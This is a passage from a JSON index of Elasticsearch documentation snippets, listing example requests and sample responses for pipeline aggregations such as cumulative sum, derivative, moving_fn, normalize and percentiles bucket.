\"field\": \"timestamp\",\n \"calendar_interval\": \"day\"\n },\n \"aggs\": {\n \"distinct_users\": {\n \"cardinality\": {\n \"field\": \"user_id\"\n }\n },\n \"total_new_users\": {\n \"cumulative_cardinality\": {\n \"buckets_path\": \"distinct_users\" <1>\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/pipeline/cumulative-cardinality-aggregation.asciidoc","line":79},"digest":"bedf4afad2a9787d01085d6869c44751","lang":"console-result","found":[],"source":"{\n \"took\": 11,\n \"timed_out\": false,\n \"_shards\": ...,\n \"hits\": ...,\n \"aggregations\": {\n \"users_per_day\": {\n \"buckets\": [\n {\n \"key_as_string\": \"2019-01-01T00:00:00.000Z\",\n \"key\": 1546300800000,\n \"doc_count\": 2,\n \"distinct_users\": {\n \"value\": 2\n },\n \"total_new_users\": {\n \"value\": 2\n }\n },\n {\n \"key_as_string\": \"2019-01-02T00:00:00.000Z\",\n \"key\": 1546387200000,\n \"doc_count\": 2,\n \"distinct_users\": {\n \"value\": 2\n },\n \"total_new_users\": {\n \"value\": 3\n }\n },\n {\n \"key_as_string\": \"2019-01-03T00:00:00.000Z\",\n \"key\": 1546473600000,\n \"doc_count\": 3,\n \"distinct_users\": {\n \"value\": 3\n },\n \"total_new_users\": {\n \"value\": 4\n }\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"aggregations/pipeline/cumulative-cardinality-aggregation.asciidoc","line":145},"digest":"fb2b91206cfa8b86b4c7117ac1b5193b","lang":"console","found":["ruby"],"source":"GET /user_hits/_search\n{\n \"size\": 0,\n \"aggs\": {\n \"users_per_day\": {\n \"date_histogram\": {\n \"field\": \"timestamp\",\n \"calendar_interval\": \"day\"\n },\n \"aggs\": {\n \"distinct_users\": {\n \"cardinality\": {\n \"field\": \"user_id\"\n }\n },\n \"total_new_users\": {\n \"cumulative_cardinality\": {\n \"buckets_path\": \"distinct_users\"\n }\n },\n \"incremental_new_users\": {\n \"derivative\": {\n \"buckets_path\": \"total_new_users\"\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/pipeline/cumulative-cardinality-aggregation.asciidoc","line":182},"digest":"de7cfdf9934fbb000486b00a8d40fa63","lang":"console-result","found":[],"source":"{\n \"took\": 11,\n \"timed_out\": false,\n \"_shards\": ...,\n \"hits\": ...,\n \"aggregations\": {\n \"users_per_day\": {\n \"buckets\": [\n {\n \"key_as_string\": \"2019-01-01T00:00:00.000Z\",\n \"key\": 1546300800000,\n \"doc_count\": 2,\n \"distinct_users\": {\n \"value\": 2\n },\n \"total_new_users\": {\n \"value\": 2\n }\n },\n {\n \"key_as_string\": \"2019-01-02T00:00:00.000Z\",\n \"key\": 1546387200000,\n \"doc_count\": 2,\n \"distinct_users\": {\n \"value\": 2\n },\n \"total_new_users\": {\n \"value\": 3\n },\n \"incremental_new_users\": {\n \"value\": 1.0\n }\n },\n {\n \"key_as_string\": \"2019-01-03T00:00:00.000Z\",\n \"key\": 1546473600000,\n \"doc_count\": 3,\n \"distinct_users\": {\n \"value\": 3\n },\n \"total_new_users\": {\n \"value\": 4\n },\n \"incremental_new_users\": {\n \"value\": 1.0\n }\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"aggregations/pipeline/cumulative-sum-aggregation.asciidoc","line":40},"digest":"ef867e563cbffe7866769a096b5d7a92","lang":"console","found":["ruby"],"source":"POST /sales/_search\n{\n \"size\": 0,\n \"aggs\": {\n \"sales_per_month\": {\n \"date_histogram\": {\n \"field\": \"date\",\n \"calendar_interval\": \"month\"\n },\n \"aggs\": {\n \"sales\": {\n \"sum\": {\n \"field\": \"price\"\n }\n },\n \"cumulative_sales\": {\n \"cumulative_sum\": {\n \"buckets_path\": \"sales\" <1>\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/pipeline/cumulative-sum-aggregation.asciidoc","line":73},"digest":"0a9f95fcb384ff3833e3866fd72ed1e4","lang":"console-result","found":[],"source":"{\n \"took\": 11,\n \"timed_out\": false,\n \"_shards\": ...,\n \"hits\": ...,\n \"aggregations\": {\n \"sales_per_month\": {\n \"buckets\": [\n {\n \"key_as_string\": \"2015/01/01 00:00:00\",\n \"key\": 1420070400000,\n \"doc_count\": 3,\n \"sales\": {\n \"value\": 550.0\n },\n \"cumulative_sales\": {\n \"value\": 550.0\n }\n },\n {\n \"key_as_string\": \"2015/02/01 00:00:00\",\n \"key\": 1422748800000,\n \"doc_count\": 2,\n \"sales\": {\n \"value\": 60.0\n },\n \"cumulative_sales\": {\n \"value\": 610.0\n }\n },\n {\n \"key_as_string\": \"2015/03/01 00:00:00\",\n \"key\": 1425168000000,\n \"doc_count\": 2,\n \"sales\": {\n \"value\": 375.0\n },\n \"cumulative_sales\": {\n \"value\": 985.0\n }\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"aggregations/pipeline/derivative-aggregation.asciidoc","line":43},"digest":"7ed26b34ce90192a1563dcddf0e45dc0","lang":"console","found":["ruby"],"source":"POST /sales/_search\n{\n \"size\": 0,\n \"aggs\": {\n \"sales_per_month\": {\n \"date_histogram\": {\n \"field\": \"date\",\n \"calendar_interval\": \"month\"\n },\n \"aggs\": {\n \"sales\": {\n \"sum\": {\n \"field\": \"price\"\n }\n },\n \"sales_deriv\": {\n \"derivative\": {\n \"buckets_path\": \"sales\" <1>\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/pipeline/derivative-aggregation.asciidoc","line":76},"digest":"4bfd88c9b9dc88bce96bc8a16c198542","lang":"console-result","found":[],"source":"{\n \"took\": 11,\n \"timed_out\": false,\n \"_shards\": ...,\n \"hits\": ...,\n \"aggregations\": {\n \"sales_per_month\": {\n \"buckets\": [\n {\n \"key_as_string\": \"2015/01/01 00:00:00\",\n \"key\": 1420070400000,\n \"doc_count\": 3,\n \"sales\": {\n \"value\": 550.0\n } <1>\n },\n {\n \"key_as_string\": \"2015/02/01 00:00:00\",\n \"key\": 1422748800000,\n \"doc_count\": 2,\n \"sales\": {\n \"value\": 60.0\n },\n \"sales_deriv\": {\n \"value\": -490.0 <2>\n }\n },\n {\n \"key_as_string\": \"2015/03/01 00:00:00\",\n \"key\": 1425168000000,\n \"doc_count\": 2, <3>\n \"sales\": {\n \"value\": 375.0\n },\n \"sales_deriv\": {\n \"value\": 315.0\n }\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"aggregations/pipeline/derivative-aggregation.asciidoc","line":136},"digest":"913c163c197802078a8af72150178061","lang":"console","found":["ruby"],"source":"POST /sales/_search\n{\n \"size\": 0,\n \"aggs\": {\n \"sales_per_month\": {\n \"date_histogram\": {\n \"field\": \"date\",\n \"calendar_interval\": \"month\"\n },\n \"aggs\": {\n \"sales\": {\n \"sum\": {\n \"field\": \"price\"\n }\n },\n \"sales_deriv\": {\n \"derivative\": {\n \"buckets_path\": \"sales\"\n }\n },\n \"sales_2nd_deriv\": {\n \"derivative\": {\n \"buckets_path\": \"sales_deriv\" <1>\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/pipeline/derivative-aggregation.asciidoc","line":174},"digest":"99e2d1cad66f9e34d7069748cc24fbe3","lang":"console-result","found":[],"source":"{\n \"took\": 50,\n \"timed_out\": false,\n \"_shards\": ...,\n \"hits\": ...,\n \"aggregations\": {\n \"sales_per_month\": {\n \"buckets\": [\n {\n \"key_as_string\": \"2015/01/01 00:00:00\",\n \"key\": 1420070400000,\n \"doc_count\": 3,\n \"sales\": {\n \"value\": 550.0\n } <1>\n },\n {\n \"key_as_string\": \"2015/02/01 00:00:00\",\n \"key\": 1422748800000,\n \"doc_count\": 2,\n \"sales\": {\n \"value\": 60.0\n },\n \"sales_deriv\": {\n \"value\": -490.0\n } <1>\n },\n {\n \"key_as_string\": \"2015/03/01 00:00:00\",\n \"key\": 1425168000000,\n \"doc_count\": 2,\n \"sales\": {\n \"value\": 375.0\n },\n \"sales_deriv\": {\n \"value\": 315.0\n },\n \"sales_2nd_deriv\": {\n \"value\": 805.0\n }\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"aggregations/pipeline/derivative-aggregation.asciidoc","line":235},"digest":"189f0cd1ee2485cf11a2968f01d54e5b","lang":"console","found":["ruby"],"source":"POST /sales/_search\n{\n \"size\": 0,\n \"aggs\": {\n \"sales_per_month\": {\n \"date_histogram\": {\n \"field\": \"date\",\n \"calendar_interval\": \"month\"\n },\n \"aggs\": {\n \"sales\": {\n \"sum\": {\n \"field\": \"price\"\n }\n },\n \"sales_deriv\": {\n \"derivative\": {\n \"buckets_path\": \"sales\",\n \"unit\": \"day\" <1>\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/pipeline/derivative-aggregation.asciidoc","line":268},"digest":"929c90aa5f2a6e9102d28a8ec3cfba05","lang":"console-result","found":[],"source":"{\n \"took\": 50,\n \"timed_out\": false,\n \"_shards\": ...,\n \"hits\": ...,\n \"aggregations\": {\n \"sales_per_month\": {\n \"buckets\": [\n {\n \"key_as_string\": \"2015/01/01 00:00:00\",\n \"key\": 1420070400000,\n \"doc_count\": 3,\n \"sales\": {\n \"value\": 550.0\n } <1>\n },\n {\n \"key_as_string\": \"2015/02/01 00:00:00\",\n \"key\": 1422748800000,\n \"doc_count\": 2,\n \"sales\": {\n \"value\": 60.0\n },\n \"sales_deriv\": {\n \"value\": -490.0, <1>\n \"normalized_value\": -15.806451612903226 <2>\n }\n },\n {\n \"key_as_string\": \"2015/03/01 00:00:00\",\n \"key\": 1425168000000,\n \"doc_count\": 2,\n \"sales\": {\n \"value\": 375.0\n },\n \"sales_deriv\": {\n \"value\": 315.0,\n \"normalized_value\": 11.25\n }\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"aggregations/pipeline/extended-stats-bucket-aggregation.asciidoc","line":44},"digest":"e451900efbd8be50c2b8347a83816aa6","lang":"console","found":["ruby"],"source":"POST /sales/_search\n{\n \"size\": 0,\n \"aggs\": {\n \"sales_per_month\": {\n \"date_histogram\": {\n \"field\": \"date\",\n \"calendar_interval\": \"month\"\n },\n \"aggs\": {\n \"sales\": {\n \"sum\": {\n \"field\": \"price\"\n }\n }\n }\n },\n \"stats_monthly_sales\": {\n \"extended_stats_bucket\": {\n \"buckets_path\": \"sales_per_month>sales\" <1>\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/pipeline/extended-stats-bucket-aggregation.asciidoc","line":78},"digest":"c41cb2ebb176a11861f4ef1a428dc4be","lang":"console-result","found":[],"source":"{\n \"took\": 11,\n \"timed_out\": false,\n \"_shards\": ...,\n \"hits\": ...,\n \"aggregations\": {\n \"sales_per_month\": {\n \"buckets\": [\n {\n \"key_as_string\": \"2015/01/01 00:00:00\",\n \"key\": 1420070400000,\n \"doc_count\": 3,\n \"sales\": {\n \"value\": 550.0\n }\n },\n {\n \"key_as_string\": \"2015/02/01 00:00:00\",\n \"key\": 1422748800000,\n \"doc_count\": 2,\n \"sales\": {\n \"value\": 60.0\n }\n },\n {\n \"key_as_string\": \"2015/03/01 00:00:00\",\n \"key\": 1425168000000,\n \"doc_count\": 2,\n \"sales\": {\n \"value\": 375.0\n }\n }\n ]\n },\n \"stats_monthly_sales\": {\n \"count\": 3,\n \"min\": 60.0,\n \"max\": 550.0,\n \"avg\": 328.3333333333333,\n \"sum\": 985.0,\n \"sum_of_squares\": 446725.0,\n \"variance\": 41105.55555555556,\n \"variance_population\": 41105.55555555556,\n \"variance_sampling\": 61658.33333333334,\n \"std_deviation\": 202.74505063146563,\n \"std_deviation_population\": 202.74505063146563,\n \"std_deviation_sampling\": 248.3109609609156,\n \"std_deviation_bounds\": {\n \"upper\": 733.8234345962646,\n \"lower\": -77.15676792959795,\n \"upper_population\" : 733.8234345962646,\n \"lower_population\" : -77.15676792959795,\n \"upper_sampling\" : 824.9552552551645,\n \"lower_sampling\" : -168.28858858849787\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/pipeline/inference-bucket-aggregation.asciidoc","line":95},"digest":"abb4a58089574211d434946a923e5725","lang":"console","found":["ruby"],"source":"GET kibana_sample_data_logs/_search\n{\n \"size\": 0,\n \"aggs\": {\n \"client_ip\": { <1>\n \"composite\": {\n \"sources\": [\n {\n \"client_ip\": {\n \"terms\": {\n \"field\": \"clientip\"\n }\n }\n }\n ]\n },\n \"aggs\": { <2>\n \"url_dc\": {\n \"cardinality\": {\n \"field\": \"url.keyword\"\n }\n },\n \"bytes_sum\": {\n \"sum\": {\n \"field\": \"bytes\"\n }\n },\n \"geo_src_dc\": {\n \"cardinality\": {\n \"field\": \"geo.src\"\n }\n },\n \"geo_dest_dc\": {\n \"cardinality\": {\n \"field\": \"geo.dest\"\n }\n },\n \"responses_total\": {\n \"value_count\": {\n \"field\": \"timestamp\"\n }\n },\n \"success\": {\n \"filter\": {\n \"term\": {\n \"response\": \"200\"\n }\n }\n },\n \"error404\": {\n \"filter\": {\n \"term\": {\n \"response\": \"404\"\n }\n }\n },\n \"error503\": {\n \"filter\": {\n \"term\": {\n \"response\": \"503\"\n }\n }\n },\n \"malicious_client_ip\": { <3>\n \"inference\": {\n \"model_id\": \"malicious_clients_model\",\n \"buckets_path\": {\n \"response_count\": \"responses_total\",\n \"url_dc\": \"url_dc\",\n \"bytes_sum\": \"bytes_sum\",\n \"geo_src_dc\": \"geo_src_dc\",\n \"geo_dest_dc\": \"geo_dest_dc\",\n \"success\": \"success._count\",\n \"error404\": \"error404._count\",\n \"error503\": \"error503._count\"\n }\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/pipeline/max-bucket-aggregation.asciidoc","line":42},"digest":"b601bc78fb69e15a42e0783219ddc38d","lang":"console","found":["ruby"],"source":"POST /sales/_search\n{\n \"size\": 0,\n \"aggs\": {\n \"sales_per_month\": {\n \"date_histogram\": {\n \"field\": \"date\",\n \"calendar_interval\": \"month\"\n },\n \"aggs\": {\n \"sales\": {\n \"sum\": {\n \"field\": \"price\"\n }\n }\n }\n },\n \"max_monthly_sales\": {\n \"max_bucket\": {\n \"buckets_path\": \"sales_per_month>sales\" <1>\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/pipeline/max-bucket-aggregation.asciidoc","line":76},"digest":"e0765c7c1155bc3da07dd84aa7a5033f","lang":"console-result","found":[],"source":"{\n \"took\": 11,\n \"timed_out\": false,\n \"_shards\": ...,\n \"hits\": ...,\n \"aggregations\": {\n \"sales_per_month\": {\n \"buckets\": [\n {\n \"key_as_string\": \"2015/01/01 00:00:00\",\n \"key\": 1420070400000,\n \"doc_count\": 3,\n \"sales\": {\n \"value\": 550.0\n }\n },\n {\n \"key_as_string\": \"2015/02/01 00:00:00\",\n \"key\": 1422748800000,\n \"doc_count\": 2,\n \"sales\": {\n \"value\": 60.0\n }\n },\n {\n \"key_as_string\": \"2015/03/01 00:00:00\",\n \"key\": 1425168000000,\n \"doc_count\": 2,\n \"sales\": {\n \"value\": 375.0\n }\n }\n ]\n },\n \"max_monthly_sales\": {\n \"keys\": [\"2015/01/01 00:00:00\"], <1>\n \"value\": 550.0\n }\n }\n}"}, {"source_location":{"file":"aggregations/pipeline/min-bucket-aggregation.asciidoc","line":42},"digest":"a4bd9bf52b4f098838d12bcb8dfc3482","lang":"console","found":["ruby"],"source":"POST /sales/_search\n{\n \"size\": 0,\n \"aggs\": {\n \"sales_per_month\": {\n \"date_histogram\": {\n \"field\": \"date\",\n \"calendar_interval\": \"month\"\n },\n \"aggs\": {\n \"sales\": {\n \"sum\": {\n \"field\": \"price\"\n }\n }\n }\n },\n \"min_monthly_sales\": {\n \"min_bucket\": {\n \"buckets_path\": \"sales_per_month>sales\" <1>\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/pipeline/min-bucket-aggregation.asciidoc","line":76},"digest":"9128fb8c19494741f8eb9906450586e5","lang":"console-result","found":[],"source":"{\n \"took\": 11,\n \"timed_out\": false,\n \"_shards\": ...,\n \"hits\": ...,\n \"aggregations\": {\n \"sales_per_month\": {\n \"buckets\": [\n {\n \"key_as_string\": \"2015/01/01 00:00:00\",\n \"key\": 1420070400000,\n \"doc_count\": 3,\n \"sales\": {\n \"value\": 550.0\n }\n },\n {\n \"key_as_string\": \"2015/02/01 00:00:00\",\n \"key\": 1422748800000,\n \"doc_count\": 2,\n \"sales\": {\n \"value\": 60.0\n }\n },\n {\n \"key_as_string\": \"2015/03/01 00:00:00\",\n \"key\": 1425168000000,\n \"doc_count\": 2,\n \"sales\": {\n \"value\": 375.0\n }\n }\n ]\n },\n \"min_monthly_sales\": {\n \"keys\": [\"2015/02/01 00:00:00\"], <1>\n \"value\": 60.0\n }\n }\n}"}, {"source_location":{"file":"aggregations/pipeline/movfn-aggregation.asciidoc","line":43},"digest":"d0dee031197214b59ff9ac7540527d2c","lang":"console","found":["ruby"],"source":"POST /_search\n{\n \"size\": 0,\n \"aggs\": {\n \"my_date_histo\": { <1>\n \"date_histogram\": {\n \"field\": \"date\",\n \"calendar_interval\": \"1M\"\n },\n \"aggs\": {\n \"the_sum\": {\n \"sum\": { \"field\": \"price\" } <2>\n },\n \"the_movfn\": {\n \"moving_fn\": {\n \"buckets_path\": \"the_sum\", <3>\n \"window\": 10,\n \"script\": \"MovingFunctions.unweightedAvg(values)\"\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/pipeline/movfn-aggregation.asciidoc","line":83},"digest":"195ee5116e8fcff0a70fb82bbcc42b58","lang":"console-result","found":[],"source":"{\n \"took\": 11,\n \"timed_out\": false,\n \"_shards\": ...,\n \"hits\": ...,\n \"aggregations\": {\n \"my_date_histo\": {\n \"buckets\": [\n {\n \"key_as_string\": \"2015/01/01 00:00:00\",\n \"key\": 1420070400000,\n \"doc_count\": 3,\n \"the_sum\": {\n \"value\": 550.0\n },\n \"the_movfn\": {\n \"value\": null\n }\n },\n {\n \"key_as_string\": \"2015/02/01 00:00:00\",\n \"key\": 1422748800000,\n \"doc_count\": 2,\n \"the_sum\": {\n \"value\": 60.0\n },\n \"the_movfn\": {\n \"value\": 550.0\n }\n },\n {\n \"key_as_string\": \"2015/03/01 00:00:00\",\n \"key\": 1425168000000,\n \"doc_count\": 2,\n \"the_sum\": {\n \"value\": 375.0\n },\n \"the_movfn\": {\n \"value\": 305.0\n }\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"aggregations/pipeline/movfn-aggregation.asciidoc","line":144},"digest":"d37b0bda2bd24ab310e6b26708c7c6fb","lang":"console","found":["ruby"],"source":"POST /_search\n{\n \"size\": 0,\n \"aggs\": {\n \"my_date_histo\": {\n \"date_histogram\": {\n \"field\": \"date\",\n \"calendar_interval\": \"1M\"\n },\n \"aggs\": {\n \"the_sum\": {\n \"sum\": { \"field\": \"price\" }\n },\n \"the_movavg\": {\n \"moving_fn\": {\n \"buckets_path\": \"the_sum\",\n \"window\": 10,\n \"script\": \"return values.length > 0 ? values[0] : Double.NaN\"\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/pipeline/movfn-aggregation.asciidoc","line":214},"digest":"54059961f05904368ced52c894a50e23","lang":"console","found":["ruby"],"source":"POST /_search\n{\n \"size\": 0,\n \"aggs\": {\n \"my_date_histo\": {\n \"date_histogram\": {\n \"field\": \"date\",\n \"calendar_interval\": \"1M\"\n },\n \"aggs\": {\n \"the_sum\": {\n \"sum\": { \"field\": \"price\" }\n },\n \"the_moving_max\": {\n \"moving_fn\": {\n \"buckets_path\": \"the_sum\",\n \"window\": 10,\n \"script\": \"MovingFunctions.max(values)\"\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/pipeline/movfn-aggregation.asciidoc","line":256},"digest":"56e90a63f94eeb882fe8acbcd74229c2","lang":"console","found":["ruby"],"source":"POST /_search\n{\n \"size\": 0,\n \"aggs\": {\n \"my_date_histo\": {\n \"date_histogram\": {\n \"field\": \"date\",\n \"calendar_interval\": \"1M\"\n },\n \"aggs\": {\n \"the_sum\": {\n \"sum\": { \"field\": \"price\" }\n },\n \"the_moving_min\": {\n \"moving_fn\": {\n \"buckets_path\": \"the_sum\",\n \"window\": 10,\n \"script\": \"MovingFunctions.min(values)\"\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/pipeline/movfn-aggregation.asciidoc","line":298},"digest":"ad63eca6829a25293c9be589c1870547","lang":"console","found":["ruby"],"source":"POST /_search\n{\n \"size\": 0,\n \"aggs\": {\n \"my_date_histo\": {\n \"date_histogram\": {\n \"field\": \"date\",\n \"calendar_interval\": \"1M\"\n },\n \"aggs\": {\n \"the_sum\": {\n \"sum\": { \"field\": \"price\" }\n },\n \"the_moving_sum\": {\n \"moving_fn\": {\n \"buckets_path\": \"the_sum\",\n \"window\": 10,\n \"script\": \"MovingFunctions.sum(values)\"\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/pipeline/movfn-aggregation.asciidoc","line":342},"digest":"83d8c920460a12f87b9d5bf65515c367","lang":"console","found":["ruby"],"source":"POST /_search\n{\n \"size\": 0,\n \"aggs\": {\n \"my_date_histo\": {\n \"date_histogram\": {\n \"field\": \"date\",\n \"calendar_interval\": \"1M\"\n },\n \"aggs\": {\n \"the_sum\": {\n \"sum\": { \"field\": \"price\" }\n },\n \"the_moving_sum\": {\n \"moving_fn\": {\n \"buckets_path\": \"the_sum\",\n \"window\": 10,\n \"script\": \"MovingFunctions.stdDev(values, MovingFunctions.unweightedAvg(values))\"\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/pipeline/movfn-aggregation.asciidoc","line":393},"digest":"3c36dc17359c6b6b6a40d04da9293fa7","lang":"console","found":["ruby"],"source":"POST /_search\n{\n \"size\": 0,\n \"aggs\": {\n \"my_date_histo\": {\n \"date_histogram\": {\n \"field\": \"date\",\n \"calendar_interval\": \"1M\"\n },\n \"aggs\": {\n \"the_sum\": {\n \"sum\": { \"field\": \"price\" }\n },\n \"the_movavg\": {\n \"moving_fn\": {\n \"buckets_path\": \"the_sum\",\n \"window\": 10,\n \"script\": \"MovingFunctions.unweightedAvg(values)\"\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/pipeline/movfn-aggregation.asciidoc","line":438},"digest":"b109d0141ec8a0aed5d3805abc349a20","lang":"console","found":["ruby"],"source":"POST /_search\n{\n \"size\": 0,\n \"aggs\": {\n \"my_date_histo\": {\n \"date_histogram\": {\n \"field\": \"date\",\n \"calendar_interval\": \"1M\"\n },\n \"aggs\": {\n \"the_sum\": {\n \"sum\": { \"field\": \"price\" }\n },\n \"the_movavg\": {\n \"moving_fn\": {\n \"buckets_path\": \"the_sum\",\n \"window\": 10,\n \"script\": \"MovingFunctions.linearWeightedAvg(values)\"\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/pipeline/movfn-aggregation.asciidoc","line":489},"digest":"73df03be6ee78b10106581dbd7cb39ef","lang":"console","found":["ruby"],"source":"POST /_search\n{\n \"size\": 0,\n \"aggs\": {\n \"my_date_histo\": {\n \"date_histogram\": {\n \"field\": \"date\",\n \"calendar_interval\": \"1M\"\n },\n \"aggs\": {\n \"the_sum\": {\n \"sum\": { \"field\": \"price\" }\n },\n \"the_movavg\": {\n \"moving_fn\": {\n \"buckets_path\": \"the_sum\",\n \"window\": 10,\n \"script\": \"MovingFunctions.ewma(values, 0.3)\"\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/pipeline/movfn-aggregation.asciidoc","line":546},"digest":"61e38e95191f4dde791070c6fce8a092","lang":"console","found":["ruby"],"source":"POST /_search\n{\n \"size\": 0,\n \"aggs\": {\n \"my_date_histo\": {\n \"date_histogram\": {\n \"field\": \"date\",\n \"calendar_interval\": \"1M\"\n },\n \"aggs\": {\n \"the_sum\": {\n \"sum\": { \"field\": \"price\" }\n },\n \"the_movavg\": {\n \"moving_fn\": {\n \"buckets_path\": \"the_sum\",\n \"window\": 10,\n \"script\": \"MovingFunctions.holt(values, 0.3, 0.1)\"\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/pipeline/movfn-aggregation.asciidoc","line":611},"digest":"b3685560cb328f179d96ffe7c2668f72","lang":"console","found":["ruby"],"source":"POST /_search\n{\n \"size\": 0,\n \"aggs\": {\n \"my_date_histo\": {\n \"date_histogram\": {\n \"field\": \"date\",\n \"calendar_interval\": \"1M\"\n },\n \"aggs\": {\n \"the_sum\": {\n \"sum\": { \"field\": \"price\" }\n },\n \"the_movavg\": {\n \"moving_fn\": {\n \"buckets_path\": \"the_sum\",\n \"window\": 10,\n \"script\": \"if (values.length > 5*2) {MovingFunctions.holtWinters(values, 0.3, 0.1, 0.1, 5, false)}\"\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/pipeline/moving-percentiles-aggregation.asciidoc","line":43},"digest":"5c249eaeb99e6aee07162128288ac1b1","lang":"console","found":["ruby"],"source":"POST /_search\n{\n \"size\": 0,\n \"aggs\": {\n \"my_date_histo\": { <1>\n \"date_histogram\": {\n \"field\": \"date\",\n \"calendar_interval\": \"1M\"\n },\n \"aggs\": {\n \"the_percentile\": { <2>\n \"percentiles\": {\n \"field\": \"price\",\n \"percents\": [ 1.0, 99.0 ]\n }\n },\n \"the_movperc\": {\n \"moving_percentiles\": {\n \"buckets_path\": \"the_percentile\", <3>\n \"window\": 10\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/pipeline/moving-percentiles-aggregation.asciidoc","line":85},"digest":"fdd7d19d1b80693e6d7743d9eacc9859","lang":"console-result","found":[],"source":"{\n \"took\": 11,\n \"timed_out\": false,\n \"_shards\": ...,\n \"hits\": ...,\n \"aggregations\": {\n \"my_date_histo\": {\n \"buckets\": [\n {\n \"key_as_string\": \"2015/01/01 00:00:00\",\n \"key\": 1420070400000,\n \"doc_count\": 3,\n \"the_percentile\": {\n \"values\": {\n \"1.0\": 151.0,\n \"99.0\": 200.0\n }\n }\n },\n {\n \"key_as_string\": \"2015/02/01 00:00:00\",\n \"key\": 1422748800000,\n \"doc_count\": 2,\n \"the_percentile\": {\n \"values\": {\n \"1.0\": 10.4,\n \"99.0\": 49.6\n }\n },\n \"the_movperc\": {\n \"values\": {\n \"1.0\": 151.0,\n \"99.0\": 200.0\n }\n }\n },\n {\n \"key_as_string\": \"2015/03/01 00:00:00\",\n \"key\": 1425168000000,\n \"doc_count\": 2,\n \"the_percentile\": {\n \"values\": {\n \"1.0\": 175.25,\n \"99.0\": 199.75\n }\n },\n \"the_movperc\": {\n \"values\": {\n \"1.0\": 11.6,\n \"99.0\": 200.0\n }\n }\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"aggregations/pipeline/normalize-aggregation.asciidoc","line":95},"digest":"e2d8cf24a12053eb09fec7087cdab43a","lang":"console","found":["ruby"],"source":"POST /sales/_search\n{\n \"size\": 0,\n \"aggs\": {\n \"sales_per_month\": {\n \"date_histogram\": {\n \"field\": \"date\",\n \"calendar_interval\": \"month\"\n },\n \"aggs\": {\n \"sales\": {\n \"sum\": {\n \"field\": \"price\"\n }\n },\n \"percent_of_total_sales\": {\n \"normalize\": {\n \"buckets_path\": \"sales\", <1>\n \"method\": \"percent_of_sum\", <2>\n \"format\": \"00.00%\" <3>\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/pipeline/normalize-aggregation.asciidoc","line":134},"digest":"e71d90c66e83dd36141fd4c363303064","lang":"console-result","found":[],"source":"{\n \"took\": 11,\n \"timed_out\": false,\n \"_shards\": ...,\n \"hits\": ...,\n \"aggregations\": {\n \"sales_per_month\": {\n \"buckets\": [\n {\n \"key_as_string\": \"2015/01/01 00:00:00\",\n \"key\": 1420070400000,\n \"doc_count\": 3,\n \"sales\": {\n \"value\": 550.0\n },\n \"percent_of_total_sales\": {\n \"value\": 0.5583756345177665,\n \"value_as_string\": \"55.84%\"\n }\n },\n {\n \"key_as_string\": \"2015/02/01 00:00:00\",\n \"key\": 1422748800000,\n \"doc_count\": 2,\n \"sales\": {\n \"value\": 60.0\n },\n \"percent_of_total_sales\": {\n \"value\": 0.06091370558375635,\n \"value_as_string\": \"06.09%\"\n }\n },\n {\n \"key_as_string\": \"2015/03/01 00:00:00\",\n \"key\": 1425168000000,\n \"doc_count\": 2,\n \"sales\": {\n \"value\": 375.0\n },\n \"percent_of_total_sales\": {\n \"value\": 0.38071065989847713,\n \"value_as_string\": \"38.07%\"\n }\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"aggregations/pipeline/percentiles-bucket-aggregation.asciidoc","line":43},"digest":"b3ed567d2c0915a280b6b15f7a37539b","lang":"console","found":["ruby"],"source":"POST /sales/_search\n{\n \"size\": 0,\n \"aggs\": {\n \"sales_per_month\": {\n \"date_histogram\": {\n \"field\": \"date\",\n \"calendar_interval\": \"month\"\n },\n \"aggs\": {\n \"sales\": {\n \"sum\": {\n \"field\": \"price\"\n }\n }\n }\n },\n \"percentiles_monthly_sales\": {\n \"percentiles_bucket\": {\n \"buckets_path\": \"sales_per_month>sales\", <1>\n \"percents\": [ 25.0, 50.0, 75.0 ] <2>\n }\n }\n }\n}"}, {"source_location":{"file":"aggregations/pipeline/percentiles-bucket-aggregation.asciidoc","line":79},"digest":"8a255d25302b6ec629381efb6dc3de4b","lang":"console-result","found":[],"source":"{\n \"took\": 11,\n \"timed_out\": false,\n \"_shards\": ...,\n \"hits\": ...,\n \"aggregations\": {\n \"sales_per_month\": {\n \"buckets\": [\n {\n \"key_as_string\": \"2015/01/01 00:00:00\",\n \"key\": 1420070400000,\n \"doc_count\": 3,\n \"sales\": {\n \"value\": 550.0\n }\n },\n {\n \"key_as_string\": \"2015/02/01 00:00:00\",\n \"key\": 1422748800000,\n \"doc_count\": 2,\n \"sales\": {\n \"value\": 60.0\n }\n },\n {\n \"key_as_string\": 